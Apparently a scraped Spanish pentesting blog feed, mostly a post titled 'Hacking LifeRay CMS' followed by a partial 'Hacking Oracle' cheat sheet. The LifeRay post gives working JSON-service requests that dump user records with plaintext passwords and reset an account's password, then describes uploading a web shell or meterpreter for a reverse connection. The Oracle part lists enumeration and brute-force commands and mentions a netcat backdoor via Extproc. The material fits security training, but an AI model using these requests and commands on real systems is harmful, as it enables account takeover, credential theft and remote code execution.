<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
De esta manera se observan las redes según hemos ido
conduciendo donde las wifis se muestran como una diana de color:</div>
<br />
<ul>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Rojo <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;"><span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings;">--> </span></span>No dispone de seguridad</li>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Naranja --> <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;"><span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings;"></span></span>Seguridad WEP</li>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Amarillo --> <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;"><span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings;"></span></span>Seguridad WPA</li>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Verde --> <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;"><span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings;"></span></span>Seguridad WPA2 </li>
</ul>
<div class="MsoNormal">
</div>
<br />REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com1tag:blogger.com,1999:blog-694521803021083340.post-61913520613232470002013-01-25T20:11:00.005-08:002013-01-26T06:21:49.330-08:00Hacking LifeRay CMS<span style="font-family: Arial,Helvetica,sans-serif;">En este articulo veremos como realizar una intrusión en el CMS LifeRay.</span><br />
<div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;">Para ello lo primero es entender como funciona LifeRay.</span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;">Liferay se trata de un gestor de contenidos como podría ser Joomla o Drupal solo que éste está realizado en JSP y se instala en un servidor tomcat, jboss, glashfish o similar. De esta manera la manera de atacar es algo distinta a lo que estamos acostumbrados.</span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;">La versión que hemos testeado es la última disponible en la web oficial de LifeRay de la rama 6.0, en nuestro caso la versión 6.0.6. </span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;">Lo primero que debemos probar son las contraseñas que se se encuentran creadas por defecto desde la versión 5.2.x por lo que si el administrador ha tenido un descuido, podremos acceder con alguna de las siguientes cuentas:</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-udhrvIVxabM/UQPfNp3nADI/AAAAAAAAAWM/yY3IGkl4IaI/s1600/default_passw.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="http://2.bp.blogspot.com/-udhrvIVxabM/UQPfNp3nADI/AAAAAAAAAWM/yY3IGkl4IaI/s1600/default_passw.png" width="640" /></a></div>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">Además es posible enumerar los usuarios registrados en LifeRay al menos de dos maneras distintas:</span></div>
<div>
<span style="font-family: Arial,Helvetica,sans-serif;">La primera es utilizando la siguiente ruta: http://localhost:8080/documents/USERNAME.</span><br />
<span style="font-family: inherit;"><span style="font-family: Arial,Helvetica,sans-serif;">Si <span style="font-size: small;">el usuario existe mostrara una pagina de NOT FOUND:</span></span></span></div>
<div>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">
</span></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-1bNa1cdySC4/UQNAIXzymZI/AAAAAAAAARk/eSUE4Q1FYfY/s1600/no+existe.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="381" src="http://3.bp.blogspot.com/-1bNa1cdySC4/UQNAIXzymZI/AAAAAAAAARk/eSUE4Q1FYfY/s640/no+existe.png" width="640" /></a></div>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">
</span></pre>
<pre><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small; white-space: normal;"> </span></span><span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">Y si el usuario existe mostrar</span><span style="font-family: Arial, Helvetica, sans-serif; font-size: small; white-space: normal;"><tt><span style="font-family: Arial,Helvetica,sans-serif;">á</span></tt></span><span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;"> un FORBIDDEN:</span></pre>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">
</span></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-5sG_kOIumMM/UQNAnmDbouI/AAAAAAAAARs/Hp6GM1bida4/s1600/existe.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="455" src="http://4.bp.blogspot.com/-5sG_kOIumMM/UQNAnmDbouI/AAAAAAAAARs/Hp6GM1bida4/s640/existe.png" width="640" /></a></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span style="white-space: normal;">Por otro lado también es posible realizar una enumeración usando la función de recordar contraseña. ¿Como se hace login en </span>LifeRay<span style="white-space: normal;">? Pues a través de la siguiente ruta:</span></span></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">http://192.168.1.65:8080/c/portal/login</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Accedemos a la URL http://192.168.1.65:8080/tunnel-web/secure/json y nos saldrá una autenticación básica que por defecto es 2:test. Si vemos una pantalla en blanco en lugar de pedirnos repetidas veces la contraseña entonces tenemos un liferay vulnerable (por defecto lo es)</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">En ese enlace aparece la opción de recordar contraseña y el login del usuario.</span></span><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">De todas maneras vamos a ver lo chulo de verdad¡¡ A por ejemplo extraer los usuarios registrados en LifeRay aunque como veremos podemos hacer muchas cosas.</span></span><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">El fallo radica en una "contraseña débil" Como no¡. Pero bueno la manera de explotarlo es algo distinta a lo que estamos acostumbrados a ver por ahí como veremos ahora.</span></span><span style="font-family: Arial, Helvetica, sans-serif;"> </span><br />
<pre><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span style="white-space: normal;">
</span></span></span></pre>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><a href="http://3.bp.blogspot.com/-n3E-VSN5bLM/UQNCz2fQA-I/AAAAAAAAASE/Hn0EE7e81gg/s1600/auth_basic.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="271" src="http://3.bp.blogspot.com/-n3E-VSN5bLM/UQNCz2fQA-I/AAAAAAAAASE/Hn0EE7e81gg/s640/auth_basic.png" width="640" /></a></span></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">Posteriormente lo que haremos sera realizar una petición por post por ejemplo con el </span><span style="font-family: Arial, Helvetica, sans-serif;">plugin </span><span style="font-family: Arial, Helvetica, sans-serif;">hack</span><span style="font-family: Arial, Helvetica, sans-serif;">-bar de </span><span style="font-family: Arial, Helvetica, sans-serif;">firefox</span><span style="font-family: Arial, Helvetica, sans-serif;"> con los siguiente parámetros.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">serviceClassName=com.liferay.portal.service.UserServiceUtil&serviceMethodName=getUserById&serviceParameters=[userId]&userId=5</span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">Ahora bien:</span></div>
<b style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">serviceClassName</b><span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">.- Esto es la clase java a la que haremos referencia.</span><br />
<b style="font-family: Arial, Helvetica, sans-serif;">serviceMethodName</b><span style="font-family: Arial, Helvetica, sans-serif;">.- El método de la clase que queremos invocar</span><br />
<b style="font-family: Arial, Helvetica, sans-serif;">serviceParameters</b><span style="font-family: Arial, Helvetica, sans-serif;">.- Estos son los parámetros que tiene la clase </span><br />
<pre><span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">
</span></pre>
<span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">Y posteriormente se le van dando valor a cada uno de ellos.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">¿Que podemos hacer? Mirar el JavaDoc de Liferay publico y disponible en:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">http://docs.liferay.com/portal/6.0/javadocs/</span><br />
<pre><span style="font-family: Times New Roman;"><span style="white-space: normal;">
</span></span></pre>
<pre><span style="font-family: Times New Roman;"><span style="white-space: normal;">
</span></span></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-V5_daXp3Knw/UQNE-FhKQhI/AAAAAAAAASc/cfadrngQQPw/s1600/javadoc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="347" src="http://2.bp.blogspot.com/-V5_daXp3Knw/UQNE-FhKQhI/AAAAAAAAASc/cfadrngQQPw/s640/javadoc.png" width="640" /></a></div>
<pre><span style="font-family: Times New Roman;"><span style="white-space: normal;"> </span></span><span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">Utilizando este método es posible obtener un usuario según un id </span></pre>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://3.bp.blogspot.com/-RuxryqZPeRQ/UQNUWdJfywI/AAAAAAAAAVE/H_aOcp-35iI/s1600/liferay.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="http://3.bp.blogspot.com/-RuxryqZPeRQ/UQNUWdJfywI/AAAAAAAAAVE/H_aOcp-35iI/s640/liferay.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">El siguiente paso es usar el intruder de Burp para sacar todos los usuarios y clave. No nos podemos motivar aunque en este caso la contraseña este en texto plano lo normal es encontrarla cifrada o con un hash SHA1</span></div>
<span style="font-family: Arial, Helvetica, sans-serif;">Hemos obtenidos dos usuarios el numero 2 y el 5 y estos son sus datos:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">{"portraitId":0,"agreedToTermsOfUse":false,"passwordEncrypted":false,"screenNa</span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">me":"joebloggs","facebookId":0,"reminderQueryAnswer":"","digest":"e5d86c6f3672</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">e52795891c3597f20de0,2807c2fb6170beadb14da631fdbd9814,c8aa9acf9e315e4347db2de5</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">813c1014","password":"test","passwordReset":false,"defaultUser":false,"lastFai</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">ledLoginDate":"","userId":2,"passwordModifiedDate":"","loginDate":"1298644602874"</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">,"lockoutDate":"","createDate":"1298644602874","firstName":"Joe","jobTitle":"",</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">"middleName":"","lastName":"Bloggs","lastLoginDate":"","greeting":"Welcome Joe B</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">loggs!","reminderQueryQuestion":"","emailAddress":"test@liferay.com","lockout":</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">false,"languageId":"en_US","modifiedDate":"1298644602874","lastLoginIP":"","con</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">tactId":3,"failedLoginAttempts":0,"loginIP":"","active":true,"graceLoginCount":0,</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">"companyId":1,"uuid":"","comments":"","openId":"","timeZoneId":"UTC"}</span></span><br />
<br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">{"portraitId":0,"agreedToTermsOfUse":true,"passwordEncrypted":false,"screenName"</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">:"5","facebookId":0,"reminderQueryAnswer":"","digest":"5533ed38b5e33c076a804bb4</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">bca644f9,7459f1a1a217442c03cfeca06b874d6c,7459f1a1a217442c03cfeca06b874d6c","pa</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">ssword":"password","passwordReset":false,"defaultUser":true,"lastFailedLoginDat</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">e":"","userId":5,"passwordModifiedDate":"","loginDate":"1298644602874","lockout</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">Date":"","createDate":"1298644602874","firstName":"","jobTitle":"","middleName"</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">:"","lastName":"","lastLoginDate":"","greeting":"Welcome!","reminderQueryQuest</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">ion":"","emailAddress":"default@liferay.com","lockout":false,"languageId":"en_</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">US","modifiedDate":"1298644602874","lastLoginIP":"","contactId":6,"failedLogin</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">Attempts":0,"loginIP":"","active":true,"graceLoginCount":0,"companyId":1,"uuid"</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">:"","comments":"","openId":"","timeZoneId":"UTC"}</span></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Si queremos ver estos datos de una manera más elegante podemos usar json-viewer en la url: </span><span style="font-family: Arial, Helvetica, sans-serif;">http://jsonviewer.stack.hu/</span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;"><br /></span></span></span>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><a href="http://4.bp.blogspot.com/-qhNN9Q7sszc/UQNVzwA0WJI/AAAAAAAAAVg/NiQ6Tl3Daig/s1600/liferay2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="http://4.bp.blogspot.com/-qhNN9Q7sszc/UQNVzwA0WJI/AAAAAAAAAVg/NiQ6Tl3Daig/s640/liferay2.jpg" width="640" /></a></span></span></div>
<pre><span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">
</span></pre>
<span style="font-family: Arial, Helvetica, sans-serif; white-space: normal;">Otra petición interesante puede ser el conseguir modificar la clave de acceso de un usuario si por ejemplo no la conociéramos.</span><br />
<br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;">
</span></span></span>
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;">Realizamos la siguiente petición por post al mismo recurso pero con los siguiente parámetros para cambiar la contraseña del usuario:</span></span></span><br />
<br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;">
</span></span></span>
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;">serviceClassName=com.liferay.portal.service.UserServiceUtil&serviceMethodName=updatePassword&serviceParameters=[userId, password1, password2, passwordReset]&userId=5&password1=realpentesting&password2=realpentesting&passwordReset=true</span></span></span><br />
<br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;">
</span></span></span>
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;">Que como vemos devuelve los siguientes datos con el password modificado:</span></span></span><br />
<br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="white-space: normal;">
</span></span></span>
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">{"portraitId":0,"agreedToTermsOfUse":true,"passwordEncrypted":true,"screenName":</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">"5","facebookId":0,"reminderQueryAnswer":"","digest":"5533ed38b5e33c076a804bb4bc</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">a644f9,7459f1a1a217442c03cfeca06b874d6c,7459f1a1a217442c03cfeca06b874d6c",</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">"<b>password</b>":"zAWPKWAhed3H10KfGXjYkR8Wx74=","passwordReset":true,"defaultUser":</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">true,"lastFailedLoginDate":"","userId":5,"passwordModifiedDate":"1359170213921"</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">,"loginDate":"1298644602874","lockoutDate":"","createDate":"1298644602874","fir</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">stName":"","jobTitle":"","middleName":"","lastName":"","lastLoginDate":"","greet</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">ing":"Welcome!","reminderQueryQuestion":"","emailAddress":"default@liferay.com",</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">"lockout":false,"languageId":"en_US","modifiedDate":"1298644602874","lastLoginIP"</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">:"","contactId":6,"failedLoginAttempts":0,"loginIP":"","active":true,"graceLoginC</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">ount":0,"companyId":1,"uuid":"7b8cf744-3b1e-41a8-9f46-23effec314b4","comments":""</span></span><br />
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;">,"openId":"","timeZoneId":"UTC"}</span></span><br />
<pre></pre>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://3.bp.blogspot.com/-bhY9RBG51og/UQNLeINKJkI/AAAAAAAAATw/EGp3rom-tNk/s1600/change_pass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="http://3.bp.blogspot.com/-bhY9RBG51og/UQNLeINKJkI/AAAAAAAAATw/EGp3rom-tNk/s640/change_pass.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">Con este usuario nos logueamos en el portal de liferay y subimos una shell de la siguiente manera:</span></div>
</div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Vamos a la parte de subir plugins y podemos subir cualquier war, un meterpreter, o en mi caso voy a subir una web shell.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-_wV_z3a2x-g/UQNNXoBw3eI/AAAAAAAAAUM/7woQIlz1J5o/s1600/shell_installer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="270" src="http://2.bp.blogspot.com/-_wV_z3a2x-g/UQNNXoBw3eI/AAAAAAAAAUM/7woQIlz1J5o/s640/shell_installer.png" width="640" /></a></div>
<span style="font-family: Arial, Helvetica, sans-serif;">Por último ya tenemos conexión inversa y ejecución remota de código.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-F2Wb6Y28gSI/UQNPKmAlXEI/AAAAAAAAAUo/XVnUh5jI4jY/s1600/bc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://1.bp.blogspot.com/-F2Wb6Y28gSI/UQNPKmAlXEI/AAAAAAAAAUo/XVnUh5jI4jY/s1600/bc.png" width="640" /></a></div>
</div>
REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-64934589081584563092012-12-23T08:54:00.003-08:002013-04-17T11:13:25.832-07:00HACKING ORACLE (Parte II)<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>Continuamos con la parte de Hacking Oracle.A continuación un pseudo cheat-sheet que nos vendrá bien siempre a la hora de enfrentarnos a un Oracle en una auditoría de Hacking.<br />
<br />
<br />
<br />
1. Encontrar servidores Oracle / puerto del Listener (esta tiene una dificultad<br />
extrema,xd):<br />
<br />
nmap –v <IP-ADDRESS><br />
<br />
2. Obtener la versión de Oracle (con tnscmd):<br />
<br />
tnscmd10g.pl version –h <IP-ADDRESS<br />
<br />
3. Obtener el SID o nombre de servicio (con tnscmd o sidguess):<br />
<br />
tnscmd10g.pl status –h <IP_ADDRESS> ( listener no hardenizado)<br />
sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt<br />
<br />
4. Conectarse a la base de datos (vía sqlplus)<br />
<br />
sqlplus user/password@//<IP_ADDRESS>:<PORT>/<SID><br />
<br />
5. Comprobar passwords por defecto (con checkpw)<br />
<br />
checkpwd user/password@//<IP_ADDRESS>:<PORT>/<SID><br />
default_password.txt<br />
<br />
6. Hacking TNS Listener con tnscmd10g.pl<br />
7. Escalada de privilegios con sqlplus<br />
<br />
a. dbms_export_extension<br />
b. Te lo curras como un campeón.<br />
<br />
<b>OBTENER EL PUERTO DEL TNS LISTERNER</b><br />
<br />
Por defecto este puerto es el 1521, si el Oracle server a tratar no está hardenizado es<br />
muy probable que no tengas que hacer nada, igualmente puedes llamar por teléfono a<br />
Sistemas y preguntarle por el puerto...no sería raro que te lo dijesen :D<br />
Si Oracle está hardenizado, usamos por ejemplo nmap. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/--aYrzwkEne8/UNctSG_Au3I/AAAAAAAAAOM/HwzVqmS0O44/s1600/oracle1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="422" src="http://1.bp.blogspot.com/--aYrzwkEne8/UNctSG_Au3I/AAAAAAAAAOM/HwzVqmS0O44/s640/oracle1.jpg" width="640" /></a></div>
<br />
<b>OBTENER LA VERSIÓN DE ORACLE</b><br />
<br />Lo normal a esta fecha sería que fuese la 10g o 11g, pero es más que probable<br />encontrarse 9 y 8, lo cual nos proporciona una alegría tremenda, puesto que tenemos muchas<br />posibilidades de exploiting.<br />
En cualquier caso, lanzamos tnscmd10g.pl version –h <IP-ADDRESS> y podemos ver los resultados.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-FLhbyp1N00I/UNcteedsg3I/AAAAAAAAAOU/huIMLkBFsDY/s1600/oracle2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="154" src="http://3.bp.blogspot.com/-FLhbyp1N00I/UNcteedsg3I/AAAAAAAAAOU/huIMLkBFsDY/s640/oracle2.jpg" width="640" /></a></div>
<br />
<br />
<b>OBTENER EL SID</b><br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><br />Si el listener no se encuentra securizado, como podemos ver en la imagen anterior,<br />este proporciona todo tipo de información gratuita, a partir de la versión 9 mediante un<br />parche, se estableció la posibilidad de proteger esta información con password, igualmente en<br />la versión 10g se arregló el desaguisado, por lo que si estamos ante una versión anterior a la<br />10g tenemos suerte, en caso contrario tendremos que bifurcar el proceso, no obstante puede<br />que en la versión 2 de este paper le metamos mano.<br />
<br />Lanzamos tnscmd10g.pl status –h <IP_ADDRESS><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-W6rv94fbIHs/UNcuAYYOFCI/AAAAAAAAAOc/NjiA8iiw_hg/s1600/oracle3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="http://3.bp.blogspot.com/-W6rv94fbIHs/UNcuAYYOFCI/AAAAAAAAAOc/NjiA8iiw_hg/s640/oracle3.jpg" width="640" /></a></div>
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>Como vemos en la imagen anterior, tenemos información como:<br />
<br />Version: 9.2.0.1<br />Operating System: Windows<br />Oracle_Home: c:\oracle\ora92<br />Extproc installed: YES<br />Ports: 1521 (TNS), 2100 (FTP), 8080 (HTTP)<br />SID: ora9201<br />
<br />Como tenemos el SID podemos empezar a jugar con la conexión, igualmente se ve<br />información sobre el Extproc, éste permite ejecutar comandos del sistema operativo a través<br />de la BD, por lo que podríamos reemplazar el intérprete o colar una backdoor con netcat.<br />
<br />Si el listener está protegido con password obtendríamos el siguiente mensaje:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-gLQ7KDPVqJ0/UNcuk9tzK3I/AAAAAAAAAOk/R0hfoT3_gs8/s1600/oracle4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-gLQ7KDPVqJ0/UNcuk9tzK3I/AAAAAAAAAOk/R0hfoT3_gs8/s1600/oracle4.jpg" /></a></div>
<br />
Igualmente si estamos ante una versión >=10g la autenticación se realiza a nivel SO,<br />por lo que veríamos lo siguiente:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-RQda0dAQYOU/UNcvME0I5II/AAAAAAAAAOs/U5EfLMMxj7U/s1600/oracle5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-RQda0dAQYOU/UNcvME0I5II/AAAAAAAAAOs/U5EfLMMxj7U/s1600/oracle5.jpg" /></a></div>
<br />
Pero a grandes males grandes remedios, podemos probar a lanzar un ataque de diccionario o<br />incluso de bruteforcing y voilá:<br />
<br />sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
